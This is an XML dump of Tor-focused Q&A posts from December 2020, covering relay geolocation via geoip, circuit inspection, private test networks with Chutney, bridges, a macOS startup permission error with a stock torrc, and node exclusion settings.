  <row Id="21796" PostTypeId="1" AcceptedAnswerId="21797" CreationDate="2020-12-11T05:40:07.810" Score="0" ViewCount="539" Body="&lt;p&gt;If I'm setting up an exit relay, how do you specify the geo location or 2-letter country code of my exit relay? or how does the authority server know the geo location of a new exit relay?&lt;/p&gt;&#xA;&lt;p&gt;It is my understanding that when using tor as a client, you can use ExitNodes in the tor configuration file to specify the country code of the location you want the exit relay to be. So if I want the exit relay to be in the united state only, I would specify 'ExitNodes {us}'. I just don't know how tor clients know the location of my new exit relay.&lt;/p&gt;&#xA;&lt;p&gt;I found a file which contains IP blocks and 2-letter country codes for each block in /usr/share/tor/geoip. How does tor uses this file?&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="31242" LastActivityDate="2020-12-11T23:55:34.657" Title="how to configure exit relay geo location or country code?" Tags="|configuration|location|geoip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21797" PostTypeId="2" ParentId="21796" CreationDate="2020-12-11T07:13:29.833" Score="0" Body="&lt;p&gt;&lt;em&gt;Edit: An earlier version of this answer was incorrect, and has been updated.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can't specify the country code of your relay since your relay does not publish this. Instead, other tor clients/relays derive this information from your relay's IPv4 address. When a client/relay downloads a copy of the consensus, it will look up each relay's country code in its local geoip database. This geoip map from IP addresses to country codes is shipped as part of tor's source code and since it is not possible to modify this map for other relays/clients, you cannot modify the country code that they assign to you.&lt;/p&gt;&#xA;&lt;p&gt;When a client/relay downloads a consensus, it build/updates its &lt;code&gt;nodelist&lt;/code&gt; in &lt;code&gt;nodelist_set_consensus(ns)&lt;/code&gt;. Within this function, it calls &lt;code&gt;node_set_country(node)&lt;/code&gt; to update the country code for each node in the consensus. This is where the lookup in the geoip database occurs.&lt;/p&gt;&#xA;&lt;p&gt;If you're running a local Chutney network and you have control of every client/relay, you can try modifying each of their geoip files to your own custom maps. Tor/Chutney don't support assigning country codes, but here's an idea: I haven't tried this, you could try modifying chutney to bind each relay's OR port on a different local address (for example the first node on 127.0.0.1, the second on 127.0.0.2, etc), and modify the geoip map to map these addresses to different countries. For example replace the contents of the geoip file with the values:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2130706433,2130706433,US&#xA;2130706434,2130706434,UK&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where 2130706433 is the decimal representation of 127.0.0.1, etc.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-12-11T23:55:34.657" LastActivityDate="2020-12-11T23:55:34.657" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21799" PostTypeId="1" AcceptedAnswerId="21800" CreationDate="2020-12-11T19:49:33.163" Score="0" ViewCount="46" Body="&lt;p&gt;In my experience there seems to different leading definitions of darknet/deep web. The first,&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Deep Web is private places on the clearnet, such as DMs&lt;/li&gt;&#xA;&lt;li&gt;Darknet is Tor's network in general&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The second,&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Deep Web is considered to be places of the onion network where legal activity takes place&lt;/li&gt;&#xA;&lt;li&gt;Darknet is is considered to be places of the onion network where illegal activity takes place&lt;/li&gt;&#xA;&lt;li&gt;Obviously none of Tor is optimized for illegal activity, and areas of Tor where legal/illegal activity take place are not technologically different. Just different places in Tor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The third,&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Darknet/Deep web are the same and mean Tor in general&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31161" LastActivityDate="2020-12-11T20:10:36.630" Title="Two(sometimes 3) leading definitions of Darknet/Deep web nomenclature?" Tags="|darknet|clear-net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21800" PostTypeId="2" ParentId="21799" CreationDate="2020-12-11T20:10:36.630" Score="2" Body="&lt;p&gt;These words have no technical meaning and aren't used by the people who actually build these systems, so they have no formal definitions. For example these words are not used by Tor or the research community. They are terms used mostly by the media and are usually used to project privacy tools in a negative way, or by people trying to make these privacy tools sound mysterious. Feel free to use these terms however you want, but it's usually better to use the actual technical names of the systems you're discussing (for example onion services) so that people know what you're talking about.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-11T20:10:36.630" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21804" PostTypeId="1" AcceptedAnswerId="21805" CreationDate="2020-12-14T21:16:46.350" Score="1" ViewCount="129" Body="&lt;p&gt;One can get a list of circuits available for the tor client to use via the ControlPort. Here is the link to a python script someone wrote to get the list of circuits &lt;a href=&quot;https://stackoverflow.com/a/18577835&quot;&gt;enter link description here&lt;/a&gt;&#xA;&lt;br&gt;&#xA;Is it possible to query for the circuit currently being used from the list of circuits, before it expires and chooses another one? Tor client will use the same circuit for a max of 10 minutes by default, so long as the circuit is stable. The python script from the link gives you all the circuits available, I just to get the circuit being used at the moment instead. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="31242" LastEditorUserId="31242" LastEditDate="2020-12-14T21:33:16.887" LastActivityDate="2020-12-14T21:36:18.523" Title="Determining circuit tor client is using" Tags="|configuration|circuit|ip-address|client|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21805" PostTypeId="2" ParentId="21804" CreationDate="2020-12-14T21:36:18.523" Score="2" Body="&lt;p&gt;Tor clients keep a pool of circuits and may use several circuits simultaneously for streams depending on factors such as exit policies, stream isolation, etc. So there is generally not a single &amp;quot;in-use&amp;quot; circuit. And it's not quite true that a circuit is used for only a max of 10 minutes. Generally a circuit is marked as &amp;quot;dirty&amp;quot; (unusable for new streams) 10 minutes after a stream is first attached, but existing streams will continue to use the existing circuit indefinitely.&lt;/p&gt;&#xA;&lt;p&gt;If you want to know which circuits are currently in use for streams, you may want to get all circuits and filter them down by checking their status, purpose, build flags, and timestamp. You can find circuit properties &lt;a href=&quot;https://stem.torproject.org/api/response.html#stem.response.events.CircuitEvent&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. For example you probably want to look at only GENERAL circuits that don't have the IS_INTERNAL flag.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-14T21:36:18.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21806" PostTypeId="1" CreationDate="2020-12-15T17:11:59.370" Score="0" ViewCount="568" Body="&lt;p&gt;Is this an official download mirror of the Tails?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://quantum-mirror.hu/mirrors/pub/tails/stable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://quantum-mirror.hu/mirrors/pub/tails/stable/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://quantum-mirror.hu&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://quantum-mirror.hu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31383" LastEditorUserId="31383" LastEditDate="2020-12-15T17:17:22.693" LastActivityDate="2023-07-08T18:31:44.327" Title="Is this an official download mirror?" Tags="|tails|connection|server|source-code|server-administration|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21807" PostTypeId="1" CreationDate="2020-12-16T17:34:03.673" Score="1" ViewCount="32" Body="&lt;p&gt;after upgrading to Tails 4.14, the first server in all onion channels is HungryTREX with an IP address from Toronto, Canada.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This isn't looking sane, but what I do know...&lt;/li&gt;&#xA;&lt;li&gt;Many services are unavailable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Is that an expected behavior?&lt;/p&gt;&#xA;" OwnerUserId="31397" LastActivityDate="2020-12-16T17:34:03.673" Title="All onion channels show HungryTREX as first node" Tags="|tails|onion-routing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21808" PostTypeId="1" CreationDate="2020-12-16T23:23:30.037" Score="1" ViewCount="303" Body="&lt;p&gt;I am thinking about setting up a private Tor network isolated from the Internet. My plan is to connect about 10 raspberry pis to an ethernet switch. I would run a client, a hidden service in two raspberry pis and use the others as Tor nodes (some with exit policy-reject).&lt;/p&gt;&#xA;&lt;p&gt;I have setup FireFox ESR in one raspberry and configured it to act as the Tor client. I have also set up several Tor nodes and a simple web service. But I have the following questions regarding the next steps.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way for me to force Tor circuits between client and HS or client and a normal webserver (in the same network), without hosting a directory server, HSDirs or Introduction points.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the best way to complete this setup so that I can use the Tor client to access HS or a normal web service in the same network?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Please note that the network is not connected to the Internet. I would appreciate any pointers or ideas to get this working.&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="30732" LastActivityDate="2021-05-16T02:04:15.437" Title="Creating private and isolated Tor network using raspberry pis" Tags="|configuration|network-configuration|tor-install|raspberry-pi|private|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21809" PostTypeId="2" ParentId="21808" CreationDate="2020-12-17T01:54:01.933" Score="1" Body="&lt;p&gt;I would suggest you start with chutney &lt;a href=&quot;https://github.com/torproject/chutney&quot; rel=&quot;nofollow noreferrer&quot;&gt;enter link description here&lt;/a&gt; and see how chutney works by setting up a what you need which is: directory authorities, relays, exit relays and a client. Start with the networks/basic-min template and from there you can build to the type of network you are looking to design. You do need directory authorities and chutney will create them for you. I suggest you look into how chutney works by creating the certificates for each type of relay and use the torrc templates it generates for each type. You can replicate those steps for each pi and you'll have you're very own internal tor networking running. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="31242" LastActivityDate="2020-12-17T01:54:01.933" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21811" PostTypeId="1" CreationDate="2020-12-17T12:06:57.170" Score="3" ViewCount="41" Body="&lt;p&gt;I use the Tor browser for Windows and I want to use the Firefox new tab page as the Tor browser homepage  (a blank page where you see your frequently visited sites, favorites, etc)&lt;/p&gt;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="31405" LastEditorUserId="25432" LastEditDate="2020-12-19T06:43:32.797" LastActivityDate="2020-12-19T06:43:32.797" Title="Using regular Firefox new tab page" Tags="|tor-browser-bundle|firefox|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21812" PostTypeId="1" CreationDate="2020-12-17T12:25:08.523" Score="2" ViewCount="552" Body="&lt;p&gt;Where can I find obfs4 bridges with ipv6 support for Tails?&#xA;This link doesn't work:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bridges.torproject.org/options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/options&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31406" LastEditorUserId="88" LastEditDate="2021-05-04T13:53:47.250" LastActivityDate="2021-05-04T13:53:47.250" Title="Obsf4 bridges with ipv6 support?" Tags="|configuration|tails|network-configuration|ipv6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21815" PostTypeId="2" ParentId="16860" CreationDate="2020-12-20T07:21:29.487" Score="2" Body="&lt;p&gt;Verify that none of the paths provided are relative or contain environment variables, because neither is handled properly. Also, I also had problems with paths because I used UNIX-style path separators on my Windows machine. &lt;code&gt;--verify-config&lt;/code&gt; yelled at me what the paths provided were relative when they were not – because they explicitly started with the drive letter and root directory specification. I had to fix all of the above issues before the Tor service could run properly.&lt;/p&gt;&#xA;" OwnerUserId="31420" LastActivityDate="2020-12-20T07:21:29.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21816" PostTypeId="1" CreationDate="2020-12-20T22:49:15.320" Score="3" ViewCount="980" Body="&lt;p&gt;I am a beginner who has been stuck while trying to get tor up and running on my MacOS for some time now. I installed tor with homebrew and was able to get it successfully launched in the terminal with &lt;code&gt;brew services start tor&lt;/code&gt; (I get the message &amp;quot;Successfully started tor&amp;quot;).&lt;/p&gt;&#xA;&lt;p&gt;However, when I then test to see if I can use tor with the code &lt;code&gt;curl --socks5-hostname localhost:9050 https://check.torproject.org&lt;/code&gt;, I get the following error:&#xA;&lt;code&gt;curl: (7) Failed to connect to localhost port 9050: Connection refused&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The associated log reads:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Dec 18 11:28:22.810 [notice] Tor 0.4.4.6 running on Darwin with Libevent 2.1.12-stable, OpenSSL 1.1.1i, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;Dec 18 11:28:22.810 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Dec 18 11:28:22.810 [notice] Read configuration file &amp;quot;/usr/local/etc/tor/torrc&amp;quot;.&#xA;Dec 18 11:28:22.812 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Dec 18 11:28:22.812 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Dec 18 11:28:22.812 [warn] Directory /Users/Redacted/.tor cannot be read: Permission denied&#xA;Dec 18 11:28:22.812 [notice] Closing partially-constructed Socks listener on 127.0.0.1:9050&#xA;Dec 18 11:28:22.812 [warn] Failed to parse/validate config: Couldn't create private data directory &amp;quot;/Users/Redacted/.tor&amp;quot;&#xA;Dec 18 11:28:22.812 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So this seems to be a directory permission error, but I'm at a loss on how to fix it. The /Users/Redacted subdirectory does not have any restricted permissions on it; I have gone into that folder and granted read/write permissions to all users. However, I don't know what I don't know, so I am unsure of what I am missing here. Is there something else I should be considering in terms of permissions?&lt;/p&gt;&#xA;&lt;p&gt;I have included my torrc file below here for reference if relevant:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 28 February 2019 for Tor 0.3.5.1-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &amp;quot;## &amp;quot; try to explain what's going on. Lines&#xA;## that begin with just &amp;quot;#&amp;quot; are disabled commands: you can enable them&#xA;## by removing the &amp;quot;#&amp;quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a SOCKS proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &amp;quot;SOCKSPort 0&amp;quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SOCKSPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SOCKSPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SOCKSPolicy is set, we accept&#xA;## all (and only) requests that reach a SOCKSPort. Untrusted users who&#xA;## can access your SOCKSPort may be able to learn about the connections&#xA;## you make.&#xA;#SOCKSPolicy accept 192.168.0.0/16&#xA;#SOCKSPolicy accept6 FC00::/7&#xA;#SOCKSPolicy reject *&#xA;&#xA;## Logs go to stdout at level &amp;quot;notice&amp;quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &amp;quot;notice&amp;quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /usr/local/var/log/tor/notices.log&#xA;#Log notice file /usr/local/var/log/tor/notices.log&#xA;## Send every possible message to /usr/local/var/log/tor/debug.log&#xA;#Log debug file /usr/local/var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /usr/local/var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &amp;quot;.../hidden_service/hostname&amp;quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /usr/local/var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /usr/local/var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;## If you want to listen on IPv6 your numeric address must be explictly&#xA;## between square brackets as follows. You must also listen on IPv4.&#xA;#ORPort [2001:DB8::1]:9050&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;## OutboundBindAddressExit will be used for all exit traffic, while&#xA;## OutboundBindAddressOR will be used for all OR and Dir connections&#xA;## (DNS connections ignore OutboundBindAddress).&#xA;## If you do not wish to differentiate, use OutboundBindAddress to&#xA;## specify the same address for both in a single line.&#xA;#OutboundBindAddressExit 10.0.0.4&#xA;#OutboundBindAddressOR 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;## Nicknames must be between 1 and 19 characters inclusive, and must&#xA;## contain only the characters [a-zA-Z0-9].&#xA;## If not set, &amp;quot;Unnamed&amp;quot; will be used.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 75 kilobytes per second.&#xA;## Note that units for these config options are bytes (per second), not&#xA;## bits (per second), and that prefixes are binary prefixes, i.e. 2^10,&#xA;## 2^20, etc.&#xA;#RelayBandwidthRate 100 KBytes  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KBytes # But allow bursts up to 200KB (1600Kb)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &amp;quot;40 GB&amp;quot; may allow up to 80 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 40 gigabytes each way per period.&#xA;#AccountingMax 40 GBytes&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;##&#xA;## If you are running multiple relays, you MUST set this option.&#xA;##&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /usr/local/etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentially reveal its IP/TCP address.&#xA;##&#xA;## If you are running multiple relays, you MUST set this option.&#xA;##&#xA;## Note: do not use MyFamily on bridge relays.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## Uncomment this if you want your relay to be an exit, with the default&#xA;## exit policy (or whatever exit policy you set below).&#xA;## (If ReducedExitPolicy, ExitPolicy, or IPv6Exit are set, relays are exits.&#xA;## If none of these options are set, relays are non-exits.)&#xA;#ExitRelay 1&#xA;&#xA;## Uncomment this if you want your relay to allow IPv6 exit traffic.&#xA;## (Relays do not allow any exit traffic by default.)&#xA;#IPv6Exit 1&#xA;&#xA;## Uncomment this if you want your relay to be an exit, with a reduced set&#xA;## of exit ports.&#xA;#ReducedExitPolicy 1&#xA;&#xA;## Uncomment these lines if you want your relay to be an exit, with the&#xA;## specified set of exit IPs and ports.&#xA;##&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins.&#xA;##&#xA;## If you want to allow the same ports on IPv4 and IPv6, write your rules&#xA;## using accept/reject *. If you want to allow different ports on IPv4 and&#xA;## IPv6, write your IPv6 rules using accept6/reject6 *6, and your IPv4 rules&#xA;## using accept/reject *4.&#xA;##&#xA;## If you want to _replace_ the default exit policy, end this with either a&#xA;## reject *:* or an accept *:*. Otherwise, you're _augmenting_ (prepending to)&#xA;## the default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to the configured primary public IPv4 and IPv6 addresses,&#xA;## and any public IPv4 and IPv6 addresses on any interface on the relay.&#xA;## See the man page entry for ExitPolicyRejectPrivate if you want to allow&#xA;## &amp;quot;exit enclaving&amp;quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports on IPv4 and IPv6 but no more&#xA;#ExitPolicy accept *:119 # accept nntp ports on IPv4 and IPv6 as well as default exit policy&#xA;#ExitPolicy accept *4:119 # accept nntp ports on IPv4 only as well as default exit policy&#xA;#ExitPolicy accept6 *6:119 # accept nntp ports on IPv6 only as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &amp;quot;bridges&amp;quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;##&#xA;## Warning: when running your Tor as a bridge, make sure than MyFamily is&#xA;## NOT configured.&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&#xA;## Configuration options can be imported from files or folders using the %include&#xA;## option with the value being a path. If the path is a file, the options from the&#xA;## file will be parsed as if they were written where the %include option is. If&#xA;## the path is a folder, all files on that folder will be parsed following lexical&#xA;## order. Files starting with a dot are ignored. Files on subfolders are ignored.&#xA;## The %include option can be used recursively.&#xA;#%include /etc/torrc.d/&#xA;#%include /etc/torrc.custom&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help with this would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="31423" LastActivityDate="2020-12-20T22:49:15.320" Title="Tor started but permission denied" Tags="|tor-install|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21817" PostTypeId="1" AcceptedAnswerId="21818" CreationDate="2020-12-21T06:23:56.527" Score="0" ViewCount="40" Body="&lt;p&gt;How to exclude all nodes with IP that start with some number?&lt;/p&gt;&#xA;&lt;p&gt;Priority for &lt;code&gt;ExitNodes&lt;/code&gt;, but all it's well too.&lt;/p&gt;&#xA;" OwnerUserId="31091" LastActivityDate="2020-12-21T06:54:23.967" Title="exclude all IP that start w/ X" Tags="|exit-relays|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21818" PostTypeId="2" ParentId="21817" CreationDate="2020-12-21T06:54:23.967" Score="0" Body="&lt;p&gt;Tor allows you to specify &lt;code&gt;ExcludeNodes&lt;/code&gt; using an address pattern/mask. For example, to exclude all nodes starting with &lt;code&gt;255.[...]&lt;/code&gt;, you can use &lt;code&gt;ExcludeNodes 255.0.0.0/8&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-12-21T06:54:23.967" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21820" PostTypeId="1" CreationDate="2020-12-21T23:43:08.330" Score="0" ViewCount="1697" Body="&lt;p&gt;I'm trying to create a network that sends all traffic through tor.&lt;/p&gt;&#xA;&lt;p&gt;So far I've got a PFsense box acting as a router and a separate debian instance with tor installed and running.  Is there a way to get all my pfsense traffic to go through the tor socks proxy?&lt;/p&gt;&#xA;&lt;p&gt;If not, is there another way to accomplish this?&lt;/p&gt;&#xA;&lt;p&gt;I've tried the following but they don't work on current versions of pfsense.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.malwaretech.com/2015/08/creating-ultimate-tor-virtual-network.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.malwaretech.com/2015/08/creating-ultimate-tor-virtual-network.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://turbofuture.com/computers/How-to-Set-Up-a-Tor-Proxy-Server-on-pfSense&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://turbofuture.com/computers/How-to-Set-Up-a-Tor-Proxy-Server-on-pfSense&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31429" LastActivityDate="2020-12-21T23:43:08.330" Title="How to route all network traffic through tor" Tags="|onion-routing|torsocks|transparent-proxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21824" PostTypeId="1" AcceptedAnswerId="21825" CreationDate="2020-12-22T23:35:21.550" Score="2" ViewCount="40" Body="&lt;p&gt;If I have apache/mysql and the PHP built-in server running on localhost, should I first stop the local server before starting Tor, or is it totally safe? As in, can someone access my computer/sever/whatever if I connect to Tor while my local server is running?&lt;/p&gt;&#xA;&lt;p&gt;PS: It's just a regular server I use for developing sites for work, not a hidden service.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="31267" LastActivityDate="2020-12-23T01:03:13.627" Title="Should I first stop all local servers running on localhost before starting Tor?" Tags="|security|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
